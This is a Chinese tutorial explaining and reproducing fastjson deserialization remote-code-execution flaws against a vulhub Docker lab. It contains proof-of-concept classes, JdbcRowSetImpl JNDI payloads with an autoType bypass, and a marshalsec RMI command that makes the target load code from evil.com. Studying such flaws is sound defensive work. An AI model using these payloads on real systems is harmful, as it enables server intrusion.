fastjson反序列化漏洞

背景

FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。Fastjson应用范围非常广,在github上star数超过22k。2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。2020年6月1日 fastjson爆发新的反序列化远程代码执行漏洞,fastjson 1.2.68及以前版本存在黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。本文简要介绍Fastjson反序列化漏洞利用原理并复现被利用过程,以使得技术人员在工作中对Fastjson反序列化漏洞有更进一步的认识,提高重视程度。

原理分析

漏洞原理

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

  • Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
  • Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:

  • parse (String text)
  • parseObject(String text)
  • parseObject(String text, Class clazz)

无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.IOException;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
 
class Poc {
	private String cmd;
	public Poc(){
		System.out.println("Poc() is called");
	}
 
	public String getCmd() {
		System.out.println("getCmd() is called");
		return cmd;
	}
	public void setCmd(String cmd) throws IOException {
		System.out.println("setCmd() is called");
		this.cmd = cmd;
		Runtime.getRuntime().exec(cmd);
	}
}
	
public class TestPoc {
 
	public static void main(String[] args) {
		String Poc = "{\"@type\":\"poc.test.Poc\",\"cmd\":\"calc\"}";
		JSONObject b = JSON.parseObject(Poc);
	}
}

输出顺序

1
2
3
Poc() is called
setCmd() is called
getCmd() is called

Fastjson允许用户在输入JSON串时通过**“@type”键对应的value指定任意反序列化类名**,为了让服务端按照指定类型反序列化,所以这里再引入一个@type。通过type指定了反序列化的类型,在给parseObject传参时,@type指定了当前字符串按照Poc类来解析。在Poc类中写了一个无参构造方法、getter和setter方法。根据结果显示,在反序列化时同时调用了无参构造函数以及getter和setter方法,setter方法中中通过exec执行了外部命令计算器。

漏洞利用

对于 **fastjson版本 <= 1.2.24**的情况,利用思路主要有2种

  • 通过触发点**JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl**并通过特意构造达到命令执行
  • 通过**JNDI注入**
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.fastjson.demo;

~~~~import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class poc extends AbstractTranslet {

    public poc() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        poc t = new poc();
    }
}

≤1.2.24

1
2
3
4
5
6
7
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://localhost:9999/TouchFile",
        "autoCommit":true
    }
}

绕过

1
2
3
4
5
6
7
8
9
{"name":{
					"@type":"java.lang.Class",
					"val":"com.sun.rowset.JdbcRowSetImpl"
				},
"x1001":{
				"@type":"com.sun.rowset.JdbcRowSetImpl",
				"dataSourceName":"rmi://localhost:9999/Exploit",
				"autoCommit":true}
}

JDNI(≤1.2.47)

过程

将com.sun.rowset.JdbcRowSetImpl存入 mappings 中

DefaultJSONParsercheckAutoType->getClassFromMapping(为null)-> deserializers.findClass(typeName),所以返回java.lang.class→通过 config.getDeserializer 获得反序列化的路由类 MiscCodec->调用该路由类的deserialze(this, clazz, fieldName)方法→

parser.parse()提取com.sun.rowset.JdbcRowSetImpl赋值给objVal

TypeUtils.loadClass->loadClass的重载方法将com.sun.rowset.JdbcRowSetImpl存入checkAutoType的mappings中

绕过并执行实现RCE

前面一样不过传入的typename是com.sun.rowset.JdbcRowSetImpl→checkAutoType->由于第一次解析中将com.sun.rowset.JdbcRowSetImpl存入 mappings 中通过TypeUtils.getClassFromMapping(typeName);获取到 com.sun.rowset.JdbcRowSetImpl 对象然后返回该对象(完成绕过)→调用deserializer.deserialze(this, clazz, fieldName),不同的是这次得到的反序列化路由类为FastjsonASMDeserializer。→deserialze方法→在setValue中通过method.invoke(object, value)反射执行com.sun.rowset.JdbcRowSetImpl.setAutoCommit方法

JdbcRowSetImpl利用链

跟进setAutoCommit中的this.connect()方法

this.connect对成员变量dataSourceName进行lookup,成功利用jndi注入

利用链

1
2
3
4
5
6
Exec:620,Runtime //命令执行Lookup:417,InitalContext  
//jndi 
lookup函数通过rmi加载恶意类setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数setValue:96,
FieldDeserializer //反射调用传入类的set函数deserialze:600, 
JavaBeanDeserializer //通过循环调用传入类 
set,get,is函数parseObject:368,DefaultJSONParser //解析传入的json字符串

漏洞复现

文章内环境配置完全省略,请自行寻找环境配置教程

复现针对1.2.47的反序列化漏洞,采用JDNI注入的方式

环境配置

  • docker
  • docker-compose
  • vulhub
  • win10
  • Ubuntu18.04 VPS
  • java1.8
  • python3.7
  • marshalsec
  • burpsuite

准备工作

主要是用python3起的http目录服务和marshalsec起的rmi服务,靶机则是用的vulhub+docker-compose

靶机

https://github.com/vulhub/vulhub

使用vulhub的docker文件

目录为vulhub/fastjson/1.2.47-rce

1
docker-compose up -d

docker和docker-compose以及相关使用请自行学习

目录服务

首先准备一个java恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

并且编译

1
javac TouchFile.java

然后在恶意类的目录下用python起一个http服务(注意这里使用的python是3.7,python2语法不同请自行百度)

1
python3 -m http.server 33333//端口看你个人喜欢

准备RMI服务器

https://github.com/mbechler/marshalsec

借助marshalsec项目,启动一个RMI项目,然后编译项目,然后在target下运行

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

成功启动RMI服务

payload

result

1
2
docker exec -it 容器号 bash //进入容器
cd /tmp

有seccess,漏洞利用成功

exit退出容器 down掉docker,复现结束